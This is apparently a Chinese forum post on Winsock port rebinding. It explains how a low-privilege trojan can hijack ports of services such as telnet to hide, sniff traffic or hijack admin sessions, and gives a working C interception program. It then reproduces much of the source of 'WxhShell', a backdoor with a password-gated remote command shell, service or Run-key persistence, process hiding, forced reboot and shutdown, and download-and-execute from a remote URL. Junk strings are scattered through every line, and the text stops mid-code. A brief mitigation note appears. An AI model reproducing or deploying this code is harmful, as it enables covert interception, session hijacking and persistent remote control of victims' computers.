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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xgV(0H}Mf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L5-Kw+t  
l'0fRQc  
  saddr.sin_family = AF_INET; EvQMt0[?EW  
Nn]|#lLP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <W<>=vDzyE  
9C2DW,?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k-N` h  
N|53|H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xvx+a0 A  
/ >q?H)6  
  这意味着什么?意味着可以进行如下的攻击: @+P7BE}  
W|e$@u9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6o4Bf| E]  
>GV = %  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yE4X6  
m/(f?M l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >wOqV!0<  
EmO{lCENk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @0{vA\  
=2rkaBFC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1?}5.*j<  
6)_svtg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ltH?Ew<]  
?ot7_vl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -SGo E=  
EiP#xjn?c  
  #include 1Ff Sqd  
  #include :497]c3#5C  
  #include (_aM26s  
  #include    gJUawK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e[)oT  
  int main() F&= X/  
  {  wq@{85  
  WORD wVersionRequested; _)U[c;^6  
  DWORD ret; U&}v1wdZ3  
  WSADATA wsaData; i SD?y#  
  BOOL val; )J<VDO:_YA  
  SOCKADDR_IN saddr; V+'C71-P  
  SOCKADDR_IN scaddr; DN%b!K:  
  int err; (o5^@aDr  
  SOCKET s; V0ig#?]  
  SOCKET sc; / 8 0Q  
  int caddsize; 2Sg^SZFH+o  
  HANDLE mt; ,/uVq G  
  DWORD tid;   nhZ^`mP  
  wVersionRequested = MAKEWORD( 2, 2 ); v3 q.,I_  
  err = WSAStartup( wVersionRequested, &wsaData ); nS5g!GYY,k  
  if ( err != 0 ) { f%2>pQTq@)  
  printf("error!WSAStartup failed!\n"); xh) h#p.  
  return -1; N!#0O.6  
  } aI'MVKwMk  
  saddr.sin_family = AF_INET; \J0fr'(S  
   E[8R )xC@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2#hfBJg@  
aR0'$*3E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M8p6f)l3  
  saddr.sin_port = htons(23); 7i@vj7K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z| f~   
  { '1r<g\ l  
  printf("error!socket failed!\n"); Uxl7O4J@H  
  return -1; A<$w }Fy;  
  } de<T5/  
  val = TRUE; ]b6gZ<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3 J!J#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KdTDBC  
  { t<DZW#  
  printf("error!setsockopt failed!\n"); nA)KRCi  
  return -1; [d^ [Y:I'\  
  } a58]#L~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5H!6 #pqM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r-aCa/4y!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $(=0J*ND"  
xb22 :  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8EBy5X}US  
  { OoqA`%  
  ret=GetLastError(); zHu w[  
  printf("error!bind failed!\n"); \zMx~-2oN  
  return -1; 5dXDL~/2p  
  } j : $Ruy  
  listen(s,2); |K,[[D<R  
  while(1) .s8u?1b  
  { &o]ic(74c?  
  caddsize = sizeof(scaddr); aSVR +of  
  //接受连接请求 j+6`nN7L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pHKGK7 S-  
  if(sc!=INVALID_SOCKET) 8`GN8 F  
  { &RL j^A!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A/A; '9  
  if(mt==NULL) +{dJGPoY]p  
  { E$1P H)  
  printf("Thread Creat Failed!\n"); | ycN)zuE  
  break; OS]FGD3a  
  } jM'(Qa  
  } ["7]EW\!:  
  CloseHandle(mt); X7Z=@d(  
  } E WNm }C9  
  closesocket(s); :|PI_ $4H  
  WSACleanup(); ,GTIpPj  
  return 0; }*>xSb1  
  }   )~LqBh  
  DWORD WINAPI ClientThread(LPVOID lpParam) k,0lA#>  
  { L_{gM`UFc  
  SOCKET ss = (SOCKET)lpParam; g* DBW,  
  SOCKET sc; NS3qNj  
  unsigned char buf[4096]; 3@8Zy:[8<  
  SOCKADDR_IN saddr; (\o &Gl  
  long num; <#%kmYSL  
  DWORD val; CjT]!D)s  
  DWORD ret; E~K5n2CI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l1uv]t <  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [MI?  
  saddr.sin_family = AF_INET; 7S.E,\Tws  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $s`#&.>c-  
  saddr.sin_port = htons(23); m(rd\3d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^W*3S[-`g  
  { trm-&e7q?;  
  printf("error!socket failed!\n"); h4geoC_W2  
  return -1; G+V?c1Me  
  } \yKYBfp-p  
  val = 100; Cj1nll8c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )gPkL r  
  { KnxK9  
  ret = GetLastError(); MNWuw;:v  
  return -1; =Yt)b/0b9  
  } ay`A Gr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k+;XQEH  
  { ;oGpB#[zO  
  ret = GetLastError(); T'${*NVn  
  return -1; d6vls7J/4  
  } H*R4AE0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XZH\HK)K-]  
  { 6)j/"9oY  
  printf("error!socket connect failed!\n"); o%_Hmd;_'  
  closesocket(sc); a=&{B'^G  
  closesocket(ss); Uf\,U8UB  
  return -1; \@F~4,VT  
  } |Q*OA  
  while(1) 7I;A5f  
  { eccJt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F$nc9x[S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &)Z]nNVb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?v@pB>NZ  
  num = recv(ss,buf,4096,0); /j$`Cq3I  
  if(num>0) 'd |*n#Dqc  
  send(sc,buf,num,0); }+dDGFk  
  else if(num==0) *9)yN[w  
  break; 6u [ B}%l  
  num = recv(sc,buf,4096,0); 07#e{   
  if(num>0) r";;Fk#5  
  send(ss,buf,num,0); y|2y! &o,!  
  else if(num==0) MCO`\"`l  
  break; ~Sc{\ZJl  
  } G^&P'*  
  closesocket(ss); ?CSv;:  
  closesocket(sc); cu )w6!f  
  return 0 ; wq = Ef  
  } .ovG_O  
"?r_A*U  
>&D}^TMYY  
========================================================== Xcw 6mpLt  
NGL,j\(~7  
下边附上一个代码,,WXhSHELL Q~zs]{\  
`FHKQS5  
========================================================== t*(buAx  
aM!%EaT  
#include "stdafx.h" "U o~fJ  
BVe c  
#include <stdio.h> Y"UB\_=  
#include <string.h> (K`@OwD  
#include <windows.h> K(75)/  
#include <winsock2.h> X6G2$|  
#include <winsvc.h> }[b3$WZ  
#include <urlmon.h> qj:\ )#I  
A40Q~X  
#pragma comment (lib, "Ws2_32.lib") R>y/Y<5=  
#pragma comment (lib, "urlmon.lib") H*E4+3y  
..;ep2jSs  
#define MAX_USER   100 // 最大客户端连接数 ,}a'h4C  
#define BUF_SOCK   200 // sock buffer zY2o;-d|4  
#define KEY_BUFF   255 // 输入 buffer x't@Mc  
?AYb@&%  
#define REBOOT     0   // 重启 B'8T+qvA  
#define SHUTDOWN   1   // 关机 91\]Dg  
Bhg,P.7  
#define DEF_PORT   5000 // 监听端口 kX "*kD  
?G<.W[3  
#define REG_LEN     16   // 注册表键长度 49-wFF  
#define SVC_LEN     80   // NT服务名长度 N-YCOSUu  
='Fh^]*5  
// 从dll定义API "a=dx| Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6S&OE k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DW >|'w%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =cWg 39$(I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E@CK.-N|  
EPd   
// wxhshell配置信息 0;Z] vl/|  
struct WSCFG { mIah[~G  
  int ws_port;         // 监听端口 cxpG6c  
  char ws_passstr[REG_LEN]; // 口令 -s&7zqW  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^k5#{?I  
  char ws_regname[REG_LEN]; // 注册表键名 fx*Q,}t  
  char ws_svcname[REG_LEN]; // 服务名 l9vJ]   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V(P 1{g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "5b4fQ;x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  s4vj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nXAGwU8a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bmI6OIWl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dLtmG:II  
i<-a-Z+^  
}; 4;V;8a\A  
bsdT>|gW  
// default Wxhshell configuration G0b##-.'^  
struct WSCFG wscfg={DEF_PORT, X3R:^ff\  
    "xuhuanlingzhe", DyM<aT  
    1, h {VdW}g  
    "Wxhshell", DSL3+%KF#  
    "Wxhshell", q$7/X;A  
            "WxhShell Service", Rv Uw,=  
    "Wrsky Windows CmdShell Service", Wp(Rw4j  
    "Please Input Your Password: ", gPcOm b  
  1, Ws;X;7tS  
  "http://www.wrsky.com/wxhshell.exe", vpz l{  
  "Wxhshell.exe" +@qIDUiF3  
    }; D8\9nHUD`  
7g-{ <d  
// 消息定义模块 o(eh.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {-1N@*K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q]#j,}cN9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0S&C[I o6  
char *msg_ws_ext="\n\rExit."; x<1t/o  
char *msg_ws_end="\n\rQuit."; sGO+O$J  
char *msg_ws_boot="\n\rReboot..."; m ;{(U Z  
char *msg_ws_poff="\n\rShutdown..."; xwa@h}\#  
char *msg_ws_down="\n\rSave to "; .Z(Q7j^  
MN[D)RKh;  
char *msg_ws_err="\n\rErr!"; cQrXrij;!  
char *msg_ws_ok="\n\rOK!"; P1dFoQz  
Dn:1Mtj-  
char ExeFile[MAX_PATH]; dZuPR  
int nUser = 0; 21 z@-&Oq  
HANDLE handles[MAX_USER]; .$a|&P=S  
int OsIsNt; g5lK&-yu]  
lY[\eQ 1:  
SERVICE_STATUS       serviceStatus; *r|Zbxf(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; : $N43_Wb  
?^WX] SAl  
// 函数声明 5#mHWBGd7  
int Install(void); g1I8_!}~  
int Uninstall(void); }fL ]}&  
int DownloadFile(char *sURL, SOCKET wsh);  Y}e3:\  
int Boot(int flag); A9y@v{txN  
void HideProc(void); z[l_<`J$9  
int GetOsVer(void); ? kCo/sW  
int Wxhshell(SOCKET wsl); ce7 $# #f  
void TalkWithClient(void *cs); 5? *Iaw  
int CmdShell(SOCKET sock); [~ !9t9+~  
int StartFromService(void); S^{tRPF%d  
int StartWxhshell(LPSTR lpCmdLine); 6W9lKD_i  
/$^SiE+N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {v*X}`.h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H/l,;/q]b  
.t.4y. 97  
// 数据结构和表定义 ='6@^6y  
SERVICE_TABLE_ENTRY DispatchTable[] = p~OX1RBI  
{ ?dmw z4k0  
{wscfg.ws_svcname, NTServiceMain}, n^` `)"  
{NULL, NULL} #rQT)n  
}; ~h$ H@&5  
~!6 I.u  
// 自我安装 r{wf;5d(  
int Install(void) BC R]K  
{ qdo_YPG  
  char svExeFile[MAX_PATH]; !'Ww%ZL\   
  HKEY key; .J?RaH{i  
  strcpy(svExeFile,ExeFile); Awe'MGp%  
et<@3wyd]  
// 如果是win9x系统,修改注册表设为自启动 ihD|e&  
if(!OsIsNt) { '![VA8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G0(A~Q"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2{S*$K[M  
  RegCloseKey(key); tR(L>ZG{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |WSm puf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c 6/lfgN  
  RegCloseKey(key); q#`;G,rs  
  return 0; S+l>@wa)|  
    } xP &@|Ag  
  } Mo\nY5  
} ([]\7}+8  
else { gB0Q0d3\G,  
5uU{!JuSa  
// 如果是NT以上系统,安装为系统服务 E//*bmww  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6>b'g ~I  
if (schSCManager!=0) :Yn{:%p  
{ $x2G/5?  
  SC_HANDLE schService = CreateService tD])&0"(  
  ( - XB[2h  
  schSCManager, A:*$rHbzl  
  wscfg.ws_svcname, :@S=0|:j  
  wscfg.ws_svcdisp, &Q t1~#1  
  SERVICE_ALL_ACCESS, -v=tM6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )6 K)UA  
  SERVICE_AUTO_START, <Ys7`e6eY  
  SERVICE_ERROR_NORMAL, :fQN_*B4@4  
  svExeFile, be'&tsZ9  
  NULL, i8.OM*[f  
  NULL, =6B I[_0  
  NULL, e)oi3d.wJf  
  NULL, !%QbE[Kl>  
  NULL :KsBJ>2ck  
  ); 4}Hf"L[ l  
  if (schService!=0) Co`:D  
  { X iM{YZ`B  
  CloseServiceHandle(schService); ar@ysBy  
  CloseServiceHandle(schSCManager); )T@+"Pw8t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q#Xa]A-  
  strcat(svExeFile,wscfg.ws_svcname); dfs1BV'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dm`gzGl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J=ot& %  
  RegCloseKey(key); C12y_E8Un  
  return 0; Hzc^fC  
    } HK<oNr.d52  
  } >c.HH}O0W  
  CloseServiceHandle(schSCManager); l6!a?C[2T  
} r`C t/]c  
} XNkQ0o0  
7` t,   
return 1; k_1o j[O  
} F=yE>[! LB  
~PCS_  
// 自我卸载 T7Yg^ -"  
int Uninstall(void) E5$uvxCI  
{ ;MjOs&1f0K  
  HKEY key; fwaM;YN_  
bM $WU?Z  
if(!OsIsNt) { #4!6pMW(&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0WAOA6 _x  
  RegDeleteValue(key,wscfg.ws_regname); BF]+fs`  
  RegCloseKey(key); UFUm-~x`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rE\.[mFI  
  RegDeleteValue(key,wscfg.ws_regname); (rSBzM]H  
  RegCloseKey(key); Xj21:IMR  
  return 0; 66cPoG  
  } }fz;La:b  
} *1_A$14 l  
} 9R4q^tGR\  
else { ooT~R2u  
{4b8s%:!4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S]biN]+7s  
if (schSCManager!=0) 9|//_4]  
{ Q3x.qz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2LH.If  
  if (schService!=0) 2graLJ?9Z  
  { r;8$ 7C.  
  if(DeleteService(schService)!=0) { P87qUC  
  CloseServiceHandle(schService); 6Q9S~YYq  
  CloseServiceHandle(schSCManager); Q |^c5  
  return 0; b=Y3O  
  } )nUTux0K\  
  CloseServiceHandle(schService); Zh.[f+l]  
  } P3V }cGZ  
  CloseServiceHandle(schSCManager); }L|XZL_Jo#  
} 7 *HBb-  
} (+0yZ7AZ  
o<%s\n  
return 1; j es[a  
} z=VL|Du1OT  
+)TOcxF%  
// 从指定url下载文件 yy|F6Pq3`  
int DownloadFile(char *sURL, SOCKET wsh) AN-;*n<'  
{ @KC;"u'C  
  HRESULT hr; woR }=\K  
char seps[]= "/"; W>`#`u  
char *token; [7SR2^uf<j  
char *file; =%oKYQ  
char myURL[MAX_PATH]; j0[9Cj^%c  
char myFILE[MAX_PATH]; KR/SMwy  
d<4q%y'X{  
strcpy(myURL,sURL); )F4P-u  
  token=strtok(myURL,seps); 6B>H75S+H  
  while(token!=NULL) /h73'"SpDy  
  { Iw) 'Yyg  
    file=token; qluaop  
  token=strtok(NULL,seps); SiSx ym  
  } qct:xviH<|  
a,*~wmg  
GetCurrentDirectory(MAX_PATH,myFILE); 1]Gp \P}  
strcat(myFILE, "\\"); UI.>BZ6}  
strcat(myFILE, file); uSK<{UT~3  
  send(wsh,myFILE,strlen(myFILE),0); |#-GH$.v  
send(wsh,"...",3,0);  (.B+U'6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ie8jBf -  
  if(hr==S_OK) fQOh%i9n5  
return 0; :i:M7}r  
else IEW[VU)  
return 1; | WMq&-$D  
Lj03Mx.2S  
} Se-n#  
E`>u*D$un~  
// 系统电源模块 5A=FEg  
int Boot(int flag) ]QAMCu(>  
{ 9 ~$' ?  
  HANDLE hToken; Gfn?1Kt{  
  TOKEN_PRIVILEGES tkp; p-o!K\o-1  
A&6qt  
  if(OsIsNt) { C| Vz `FY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o2M4?}TpIV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y:} !W  
    tkp.PrivilegeCount = 1; o>Jr6: D(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AjA.="3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DQOEntw  
if(flag==REBOOT) { ON<X1eU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F[ 5\ x0  
  return 0; JgY#W1>  
} l TRQ/B  
else { )~l`%+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OwM.N+ z#T  
  return 0; Z,jK(7D(  
} 41V}6+$g  
  } i'bUX=JK  
  else { bR}{xHe  
if(flag==REBOOT) { 0*Is#73rjY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V,CVMbn/%N  
  return 0; I,xV&j+<  
} LPNJuz  
else { VkNg Vjg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L/VlmN_v>s  
  return 0; ;m+*R/  
} jxU z-U-  
} cN5,\I.  
/ ao|v  
return 1; f;nO$h[Qb  
} & bwhD.:=  
5IPZ;  
// win9x进程隐藏模块 $dp;$X3  
void HideProc(void) .ZB(!v/2  
{ QD}'2{M!  
\NEXtr`Th  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SeC[,  
  if ( hKernel != NULL ) :|\{mo1NB  
  { {v,O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ue5C ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); csPziH$wl  
    FreeLibrary(hKernel); nYcj6?  
  } z|o7k;raH  
!`rR;5&sT  
return; 1FCHqqZ=  
} /7nircXj@  
\=O['#  
// 获取操作系统版本 Y'YvVI  
int GetOsVer(void) DRn]>IFU  
{ MrW#~S|ED  
  OSVERSIONINFO winfo; oM&}akPE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B J0P1vh6M  
  GetVersionEx(&winfo); }'y=JV>l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5ir[}I^z  
  return 1; P,|%7'?Y  
  else Gd:TM]rJ  
  return 0; SpM|b5c5  
} Qd %U(|  
sUc_)  
// 客户端句柄模块 w&vZ$n-|  
int Wxhshell(SOCKET wsl) A{HP*x~t  
{ xH\#:DLY  
  SOCKET wsh; +ld]P}  
  struct sockaddr_in client; 5cv&`h8uo_  
  DWORD myID; zPonG d1  
LRJY63A  
  while(nUser<MAX_USER) "G^Z>Z-`  
{ E^)>9f7  
  int nSize=sizeof(client); aDV~T24  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +:a#+]g  
  if(wsh==INVALID_SOCKET) return 1; =i4%KF9 x  
ig Q,ZY1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  T\(w}  
if(handles[nUser]==0) H%LoI)w  
  closesocket(wsh); V__|NVoOm  
else qHZ!~Kq,"'  
  nUser++; vn]e`O>y  
  } MY8[)<q"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <6 HrHw_  
 }de {-  
  return 0; Yq6e=?-  
} #%~PNki  
(R.l{(A  
// 关闭 socket o =oXL2}  
void CloseIt(SOCKET wsh) XF6ed  
{ $ $=N'Q  
closesocket(wsh); M$jU-;hRH  
nUser--; 8|z@"b l)  
ExitThread(0); 1}7Q2Ad w  
} TrYt(F{t  
m@Q%)sc)  
// 客户端请求句柄 L@|xpq  
void TalkWithClient(void *cs) U_&v|2o#3  
{ !`A]YcQ  
)YtdU(^J$  
  SOCKET wsh=(SOCKET)cs; ?;bsg 9  
  char pwd[SVC_LEN]; JO3x#1~;_  
  char cmd[KEY_BUFF]; qg`8f?  
char chr[1]; }akF=/M  
int i,j; R0WI s:k2  
R4#56#d<  
  while (nUser < MAX_USER) { Izapx\GK9  
R v/=bY  
if(wscfg.ws_passstr) { $:RP tG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kKFhbHUZa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;VS\'#{e  
  //ZeroMemory(pwd,KEY_BUFF); (lz Z=T  
      i=0; RBA{!  
  while(i<SVC_LEN) {  CJ~gE"  
URo#0fV4C  
  // 设置超时 ~jpdDV&u\  
  fd_set FdRead; f4 [Bj{F  
  struct timeval TimeOut; 4Odf6v,*@  
  FD_ZERO(&FdRead); RT~6#Caf  
  FD_SET(wsh,&FdRead); MYlPG1X=?  
  TimeOut.tv_sec=8; ta*6xpz-\Q  
  TimeOut.tv_usec=0; O>M4%p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <hv {,1p-r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q83!PI  
Y) ig:m]#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ Pm[Ud  
  pwd=chr[0]; KE_GC ;bQ  
  if(chr[0]==0xd || chr[0]==0xa) { K:JM*4W  
  pwd=0; $q%l)]+  
  break; ssx #\  
  } TwT@_~ IM  
  i++; D-S"?aO-  
    } :&'[#%h8  
y.6Yl**l  
  // 如果是非法用户,关闭 socket rHMr8,J;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c+bOp 05o-  
} 6a%dq"5 +  
FRR`<do5$,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g{U?Y"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1M<;}hJ{/  
~\QN.a   
while(1) { )/Mk\``j  
.!^}sp,E  
  ZeroMemory(cmd,KEY_BUFF); Ltrw)H}  
PX$_."WA  
      // 自动支持客户端 telnet标准   a^>e| Eq|  
  j=0; H7}@56  
  while(j<KEY_BUFF) { 6$y$ VeW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .*,W%r?1n6  
  cmd[j]=chr[0]; )bkJ[ '9  
  if(chr[0]==0xa || chr[0]==0xd) { DZ*m"Bi  
  cmd[j]=0; d,:3;:CR  
  break; tm#[.  
  } =*\(Y (0  
  j++; xfFsW^w  
    } "~nUwW|=1  
d"#& VlKcv  
  // 下载文件 $;Nw_S@  
  if(strstr(cmd,"http://")) { 9u^yEqG`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y *?hA'  
  if(DownloadFile(cmd,wsh)) FDQP|,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KrzIL[;2o  
  else F=9-po  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJ^*8C!  
  } *_,: &Ur  
  else { Ce.*yO<-  
pLtAusx  
    switch(cmd[0]) { hVLV Mqd  
  6qYK"^+xu  
  // 帮助 QZ?%xN(4  
  case '?': { EA=EcUf'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pgh)+>ON  
    break; kWm[Lt  
  } |-zefzD|  
  // 安装 {@*l,[,5-  
  case 'i': { 37U$9]  
    if(Install()) xC^|S0B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e{k)]]J  
    else in>.Tax*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K[s!3.u  
    break; _uQxrB"9  
    } qQ^ bUpk0  
  // 卸载 FS^ie|8{D-  
  case 'r': { %&\DCAFk  
    if(Uninstall()) X6 SqOb\(a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z-;I,\Y%  
    else (! "+\KY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j#D( </T  
    break; .'Rz tBv  
    } v_L?n7c  
  // 显示 wxhshell 所在路径 'ngx\Lr  
  case 'p': { 7a5G,C#QQ  
    char svExeFile[MAX_PATH]; UkzLUok]U  
    strcpy(svExeFile,"\n\r"); .J fV4!=o  
      strcat(svExeFile,ExeFile); (|t)MnPfY  
        send(wsh,svExeFile,strlen(svExeFile),0); "IMq +  
    break; $QC^hC  
    } /vrjg)fer  
  // 重启 J,,+JoD  
  case 'b': { D]B;5f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |*te69RX  
    if(Boot(REBOOT)) 5 cz6\A&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  97-=Vb  
    else { 9Lp[y%{GP  
    closesocket(wsh); FF'Ul 4y  
    ExitThread(0); Q2jl61d_9  
    } ?<h|Q~JH  
    break; c3X8Wi7m  
    } csCi0'u  
  // 关机 i8 fUzg)  
  case 'd': { +~l`rJ  
